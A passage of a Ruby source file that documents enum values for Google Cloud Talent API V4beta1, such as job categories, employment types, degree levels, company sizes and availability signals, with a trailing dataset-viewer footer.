module AvailabilitySignalType
# Default value.
AVAILABILITY_SIGNAL_TYPE_UNSPECIFIED = 0
# Job application signal.
#
# In the context of
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals},
# this signal is related to the candidate's most recent application.
# {Google::Cloud::Talent::V4beta1::AvailabilitySignal#last_update_time last_update_time}
# is calculated from
# max({Google::Cloud::Talent::V4beta1::Application#create_time Application#create_time})
# from all {Google::Cloud::Talent::V4beta1::Application Application} records
# where {Google::Cloud::Talent::V4beta1::Application#source Application#source}
# is any of the following:
# {Google::Cloud::Talent::V4beta1::Application::ApplicationSource::APPLY_DIRECT_WEB APPLY_DIRECT_WEB}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationSource::APPLY_DIRECT_MOBILE_WEB APPLY_DIRECT_MOBILE_WEB}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationSource::APPLY_DIRECT_MOBILE_APP APPLY_DIRECT_MOBILE_APP}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationSource::APPLY_DIRECT_IN_PERSON APPLY_DIRECT_IN_PERSON}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationSource::APPLY_INDIRECT APPLY_INDIRECT}
#
# In the context of
# {Google::Cloud::Talent::V4beta1::AvailabilityFilter AvailabilityFilter}, the
# filter is applied on
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals}
# where {Google::Cloud::Talent::V4beta1::AvailabilitySignal#type type} is
# JOB_APPLICATION.
JOB_APPLICATION = 1
# Resume update signal.
#
# In the context of
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals},
# this signal is related to the candidate's most recent update to their
# resume. For a
# {Google::Cloud::Talent::V4beta1::SummarizedProfile#summary SummarizedProfile#summary},
# {Google::Cloud::Talent::V4beta1::AvailabilitySignal#last_update_time last_update_time}
# is calculated from
# max({Google::Cloud::Talent::V4beta1::Profile#resume_update_time Profile#resume_update_time})
# from all
# {Google::Cloud::Talent::V4beta1::SummarizedProfile#profiles SummarizedProfile#profiles}.
#
# In the context of
# {Google::Cloud::Talent::V4beta1::AvailabilityFilter AvailabilityFilter}, the
# filter is applied on
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals}
# where {Google::Cloud::Talent::V4beta1::AvailabilitySignal#type type} is
# RESUME_UPDATE.
RESUME_UPDATE = 2
# Candidate update signal.
#
# In the context of
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals},
# this signal is related to the candidate's most recent update to their
# profile. For a
# {Google::Cloud::Talent::V4beta1::SummarizedProfile#summary SummarizedProfile#summary},
# {Google::Cloud::Talent::V4beta1::AvailabilitySignal#last_update_time last_update_time}
# is calculated from
# max({Google::Cloud::Talent::V4beta1::Profile#candidate_update_time Profile#candidate_update_time})
# from all
# {Google::Cloud::Talent::V4beta1::SummarizedProfile#profiles SummarizedProfile#profiles}.
#
# In the context of
# {Google::Cloud::Talent::V4beta1::AvailabilityFilter AvailabilityFilter}, the
# filter is applied on
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals}
# where {Google::Cloud::Talent::V4beta1::AvailabilitySignal#type type} is
# CANDIDATE_UPDATE.
CANDIDATE_UPDATE = 3
# Client submission signal.
#
# In the context of
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals},
# this signal is related to the candidate's most recent submission.
# {Google::Cloud::Talent::V4beta1::AvailabilitySignal#last_update_time last_update_time}
# is calculated from
# max({Google::Cloud::Talent::V4beta1::Application#create_time Application#create_time})
# from all {Google::Cloud::Talent::V4beta1::Application Application} records
# where {Google::Cloud::Talent::V4beta1::Application#stage Application#stage} is
# any of the following:
# {Google::Cloud::Talent::V4beta1::Application::ApplicationStage::HIRING_MANAGER_REVIEW HIRING_MANAGER_REVIEW}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationStage::INTERVIEW INTERVIEW}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationStage::OFFER_EXTENDED OFFER_EXTENDED}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationStage::OFFER_ACCEPTED OFFER_ACCEPTED}
# {Google::Cloud::Talent::V4beta1::Application::ApplicationStage::STARTED STARTED}
#
# In the context of
# {Google::Cloud::Talent::V4beta1::AvailabilityFilter AvailabilityFilter}, the
# filter is applied on
# {Google::Cloud::Talent::V4beta1::Profile#availability_signals Profile#availability_signals}
# where {Google::Cloud::Talent::V4beta1::AvailabilitySignal#type type} is
# CLIENT_SUBMISSION.
CLIENT_SUBMISSION = 4
end
# Method for commute.
module CommuteMethod
# Commute method isn't specified.
COMMUTE_METHOD_UNSPECIFIED = 0
# Commute time is calculated based on driving time.
DRIVING = 1
# Commute time is calculated based on public transit including bus, metro,
# subway, and so on.
TRANSIT = 2
# Commute time is calculated based on walking time.
WALKING = 3
# Commute time is calculated based on biking time.
CYCLING = 4
end
# An enum that represents the size of the company.
module CompanySize
# Default value if the size isn't specified.
COMPANY_SIZE_UNSPECIFIED = 0
# The company has less than 50 employees.
MINI = 1
# The company has between 50 and 99 employees.
SMALL = 2
# The company has between 100 and 499 employees.
SMEDIUM = 3
# The company has between 500 and 999 employees.
MEDIUM = 4
# The company has between 1,000 and 4,999 employees.
BIG = 5
# The company has between 5,000 and 9,999 employees.
BIGGER = 6
# The company has 10,000 or more employees.
GIANT = 7
end
# Enum that represents the usage of the contact information.
module ContactInfoUsage
# Default value.
CONTACT_INFO_USAGE_UNSPECIFIED = 0
# Personal use.
PERSONAL = 1
# Work use.
WORK = 2
# School use.
SCHOOL = 3
end
# Educational degree level defined in International Standard Classification
# of Education (ISCED).
module DegreeType
# Default value. Represents no degree, or early childhood education.
# Maps to ISCED code 0.
# Ex) Kindergarten
DEGREE_TYPE_UNSPECIFIED = 0
# Primary education which is typically the first stage of compulsory
# education. ISCED code 1.
# Ex) Elementary school
PRIMARY_EDUCATION = 1
# Lower secondary education; First stage of secondary education building on
# primary education, typically with a more subject-oriented curriculum.
# ISCED code 2.
# Ex) Middle school
LOWER_SECONDARY_EDUCATION = 2
# Middle education; Second/final stage of secondary education preparing for
# tertiary education and/or providing skills relevant to employment.
# Usually with an increased range of subject options and streams. ISCED
# code 3.
# Ex) High school
UPPER_SECONDARY_EDUCATION = 3
# Adult Remedial Education; Programmes providing learning experiences that
# build on secondary education and prepare for labour market entry and/or
# tertiary education. The content is broader than secondary but not as
# complex as tertiary education. ISCED code 4.
ADULT_REMEDIAL_EDUCATION = 4
# Associate's or equivalent; Short first tertiary programmes that are
# typically practically-based, occupationally-specific and prepare for
# labour market entry. These programmes may also provide a pathway to other
# tertiary programmes. ISCED code 5.
ASSOCIATES_OR_EQUIVALENT = 5
# Bachelor's or equivalent; Programmes designed to provide intermediate
# academic and/or professional knowledge, skills and competencies leading
# to a first tertiary degree or equivalent qualification. ISCED code 6.
BACHELORS_OR_EQUIVALENT = 6
# Master's or equivalent; Programmes designed to provide advanced academic
# and/or professional knowledge, skills and competencies leading to a
# second tertiary degree or equivalent qualification. ISCED code 7.
MASTERS_OR_EQUIVALENT = 7
# Doctoral or equivalent; Programmes designed primarily to lead to an
# advanced research qualification, usually concluding with the submission
# and defense of a substantive dissertation of publishable quality based on
# original research. ISCED code 8.
DOCTORAL_OR_EQUIVALENT = 8
end
# An enum that represents the employment type of a job.
module EmploymentType
# The default value if the employment type isn't specified.
EMPLOYMENT_TYPE_UNSPECIFIED = 0
# The job requires working a number of hours that constitute full
# time employment, typically 40 or more hours per week.
FULL_TIME = 1
# The job entails working fewer hours than a full time job,
# typically less than 40 hours a week.
PART_TIME = 2
# The job is offered as a contracted, as opposed to a salaried employee,
# position.
CONTRACTOR = 3
# The job is offered as a contracted position with the understanding
# that it's converted into a full-time position at the end of the
# contract. Jobs of this type are also returned by a search for
# {Google::Cloud::Talent::V4beta1::EmploymentType::CONTRACTOR EmploymentType::CONTRACTOR}
# jobs.
CONTRACT_TO_HIRE = 4
# The job is offered as a temporary employment opportunity, usually
# a short-term engagement.
TEMPORARY = 5
# The job is a fixed-term opportunity for students or entry-level job
# seekers to obtain on-the-job training, typically offered as a summer
# position.
INTERN = 6
# The is an opportunity for an individual to volunteer, where there's no
# expectation of compensation for the provided services.
VOLUNTEER = 7
# The job requires an employee to work on an as-needed basis with a
# flexible schedule.
PER_DIEM = 8
# The job involves employing people in remote areas and flying them
# temporarily to the work site instead of relocating employees and their
# families permanently.
FLY_IN_FLY_OUT = 9
# The job does not fit any of the other listed types.
OTHER_EMPLOYMENT_TYPE = 10
end
# Option for HTML content sanitization on user input fields, for example, job
# description. By setting this option, user can determine whether and how
# sanitization is performed on these fields.
module HtmlSanitization
# Default value.
HTML_SANITIZATION_UNSPECIFIED = 0
# Disables sanitization on HTML input.
HTML_SANITIZATION_DISABLED = 1
# Sanitizes HTML input, only accepts bold, italic, ordered list, and
# unordered list markup tags.
SIMPLE_FORMATTING_ONLY = 2
end
# An enum that represents employee benefits included with the job.
module JobBenefit
# Default value if the type isn't specified.
JOB_BENEFIT_UNSPECIFIED = 0
# The job includes access to programs that support child care, such
# as daycare.
CHILD_CARE = 1
# The job includes dental services covered by a dental
# insurance plan.
DENTAL = 2
# The job offers specific benefits to domestic partners.
DOMESTIC_PARTNER = 3
# The job allows for a flexible work schedule.
FLEXIBLE_HOURS = 4
# The job includes health services covered by a medical insurance plan.
MEDICAL = 5
# The job includes a life insurance plan provided by the employer or
# available for purchase by the employee.
LIFE_INSURANCE = 6
# The job allows for a leave of absence to a parent to care for a newborn
# child.
PARENTAL_LEAVE = 7
# The job includes a workplace retirement plan provided by the
# employer or available for purchase by the employee.
RETIREMENT_PLAN = 8
# The job allows for paid time off due to illness.
SICK_DAYS = 9
# The job includes paid time off for vacation.
VACATION = 10
# The job includes vision services covered by a vision
# insurance plan.
VISION = 11
end
# An enum that represents the categorization or primary focus of specific
# role. This value is different than the "industry" associated with a role,
# which is related to the categorization of the company listing the job.
module JobCategory
# The default value if the category isn't specified.
JOB_CATEGORY_UNSPECIFIED = 0
# An accounting and finance job, such as an Accountant.
ACCOUNTING_AND_FINANCE = 1
# An administrative and office job, such as an Administrative Assistant.
ADMINISTRATIVE_AND_OFFICE = 2
# An advertising and marketing job, such as Marketing Manager.
ADVERTISING_AND_MARKETING = 3
# An animal care job, such as Veterinarian.
ANIMAL_CARE = 4
# An art, fashion, or design job, such as Designer.
ART_FASHION_AND_DESIGN = 5
# A business operations job, such as Business Operations Manager.
BUSINESS_OPERATIONS = 6
# A cleaning and facilities job, such as Custodial Staff.
CLEANING_AND_FACILITIES = 7
# A computer and IT job, such as Systems Administrator.
COMPUTER_AND_IT = 8
# A construction job, such as General Laborer.
CONSTRUCTION = 9
# A customer service job, such s Cashier.
CUSTOMER_SERVICE = 10
# An education job, such as School Teacher.
EDUCATION = 11
# An entertainment and travel job, such as Flight Attendant.
ENTERTAINMENT_AND_TRAVEL = 12
# A farming or outdoor job, such as Park Ranger.
FARMING_AND_OUTDOORS = 13
# A healthcare job, such as Registered Nurse.
HEALTHCARE = 14
# A human resources job, such as Human Resources Director.
HUMAN_RESOURCES = 15
# An installation, maintenance, or repair job, such as Electrician.
INSTALLATION_MAINTENANCE_AND_REPAIR = 16
# A legal job, such as Law Clerk.
LEGAL = 17
# A management job, often used in conjunction with another category,
# such as Store Manager.
MANAGEMENT = 18
# A manufacturing or warehouse job, such as Assembly Technician.
MANUFACTURING_AND_WAREHOUSE = 19
# A media, communications, or writing job, such as Media Relations.
MEDIA_COMMUNICATIONS_AND_WRITING = 20
# An oil, gas or mining job, such as Offshore Driller.
OIL_GAS_AND_MINING = 21
# A personal care and services job, such as Hair Stylist.
PERSONAL_CARE_AND_SERVICES = 22
# A protective services job, such as Security Guard.
PROTECTIVE_SERVICES = 23
# A real estate job, such as Buyer's Agent.
REAL_ESTATE = 24
# A restaurant and hospitality job, such as Restaurant Server.
RESTAURANT_AND_HOSPITALITY = 25
# A sales and/or retail job, such Sales Associate.
SALES_AND_RETAIL = 26
# A science and engineering job, such as Lab Technician.
SCIENCE_AND_ENGINEERING = 27
# A social services or non-profit job, such as Case Worker.
SOCIAL_SERVICES_AND_NON_PROFIT = 28
# A sports, fitness, or recreation job, such as Personal Trainer.
SPORTS_FITNESS_AND_RECREATION = 29
# A transportation or logistics job, such as Truck Driver.
TRANSPORTATION_AND_LOGISTICS = 30
end
# An enum that represents the required experience level required for the job.
module JobLevel
# The default value if the level isn't specified.
JOB_LEVEL_UNSPECIFIED = 0
# Entry-level individual contributors, typically with less than 2 years of
# experience in a similar role. Includes interns.
ENTRY_LEVEL = 1
# Experienced individual contributors, typically with 2+ years of
# experience in a similar role.
EXPERIENCED = 2
# Entry- to mid-level managers responsible for managing a team of people.
MANAGER = 3
# Senior-level managers responsible for managing teams of managers.
DIRECTOR = 4
# Executive-level managers and above, including C-level positions.
EXECUTIVE = 5
end
# The overall outcome /decision / result indicator.
module Outcome
# Default value.
OUTCOME_UNSPECIFIED = 0
# A positive outcome / passing indicator (for example, candidate was
# recommended for hiring or to be moved forward in the hiring process,
# candidate passed a test).
POSITIVE = 1
# A neutral outcome / no clear indicator (for example, no strong
# reccommendation either to move forward / not move forward, neutral score).
NEUTRAL = 2
# A negative outcome / failing indicator (for example, candidate was
# recommended to NOT move forward in the hiring process, failed a test).
NEGATIVE = 3
# The assessment outcome is not available or otherwise unknown (for example,
# candidate did not complete assessment).
OUTCOME_NOT_AVAILABLE = 4
end
# An enum that represents the job posting region. In most cases, job postings
# don't need to specify a region. If a region is given, jobs are
# eligible for searches in the specified region.
module PostingRegion
# If the region is unspecified, the job is only returned if it
# matches the {Google::Cloud::Talent::V4beta1::LocationFilter LocationFilter}.
POSTING_REGION_UNSPECIFIED = 0
# In addition to exact location matching, job posting is returned when the
# {Google::Cloud::Talent::V4beta1::LocationFilter LocationFilter} in the search
# query is in the same administrative area as the returned job posting. For
# example, if a `ADMINISTRATIVE_AREA` job is posted in "CA, USA", it's
# returned if {Google::Cloud::Talent::V4beta1::LocationFilter LocationFilter}
# has "Mountain View".
#
# Administrative area refers to top-level administrative subdivision of this
# country. For example, US state, IT region, UK constituent nation and
# JP prefecture.
ADMINISTRATIVE_AREA = 1
# In addition to exact location matching, job is returned when
# {Google::Cloud::Talent::V4beta1::LocationFilter LocationFilter} in search
# query is in the same country as this job. For example, if a `NATION_WIDE`
# job is posted in "USA", it's returned if
# {Google::Cloud::Talent::V4beta1::LocationFilter LocationFilter} has 'Mountain
# View'.
NATION = 2
# Job allows employees to work remotely (telecommute).
# If locations are provided with this value, the job is
# considered as having a location, but telecommuting is allowed.
TELECOMMUTE = 3
end
# Enum that represents the skill proficiency level.
module SkillProficiencyLevel
# Default value.
SKILL_PROFICIENCY_LEVEL_UNSPECIFIED = 0
# Lacks any proficiency in this skill.
UNSKILLED = 6
# Have a common knowledge or an understanding of basic techniques and
# concepts.
FUNDAMENTAL_AWARENESS = 1
# Have the level of experience gained in a classroom and/or experimental
# scenarios or as a trainee on-the-job.
NOVICE = 2
# Be able to successfully complete tasks in this skill as requested. Help
# from an expert may be required from time to time, but can usually perform
# skill independently.
INTERMEDIATE = 3
# Can perform the actions associated with this skill without assistance.
ADVANCED = 4
# Known as an expert in this area.
EXPERT = 5
end
# Deprecated. All resources are only visible to the owner.
#
# An enum that represents who has view access to the resource.
module Visibility
# Default value.
VISIBILITY_UNSPECIFIED = 0
# The resource is only visible to the GCP account who owns it.
ACCOUNT_ONLY = 1
# The resource is visible to the owner and may be visible to other
# applications and processes at Google.
SHARED_WITH_GOOGLE = 2
# The resource is visible to the owner and may be visible to all other API
# clients.
SHARED_WITH_PUBLIC = 3
end
end
end
end
end | 43.588492 | 164 | 0.61947 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.